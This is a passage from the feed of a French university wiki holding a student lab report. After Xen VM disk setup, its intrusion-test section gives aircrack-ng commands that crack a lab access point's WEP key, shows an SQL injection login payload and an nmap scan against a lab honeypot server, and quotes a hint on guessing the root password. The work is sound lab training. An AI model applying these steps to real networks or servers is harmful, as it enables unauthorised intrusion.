  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquetage aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser le paquetage aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles ( airmon-ng), puis on passe l'interface en mode monitor ( airmon-ng start wlp1s0mon ).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 &amp;gt;&amp;gt; airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit : &lt;br /&gt;
 &amp;quot; or 1=1 --'&lt;br /&gt;
&lt;br /&gt;
On accède aux utilisateurs et aux mots de passes : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un nmap :&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021_1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que le serveur utilise 2 services : HTTP et SSH, et qu'il y une autre adresse (IPv6) pour honey.plil.info. On réalise un nmap sur cette adresse IPv6 :  &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021_2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et après on essaye de se connecter en SSH ?&lt;br /&gt;
&lt;br /&gt;
''Astuce : &amp;quot;Pensez à des méthodes d’injection, d’exploration du système de fichiers, d’exploitation d’autres application Web sur la même machine, ... La seule indication est que le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets. &amp;quot;''&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen5.png&amp;diff=52822</id>
		<title>Fichier:Screen5.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen5.png&amp;diff=52822"/>
				<updated>2020-10-17T09:57:50Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	</feed>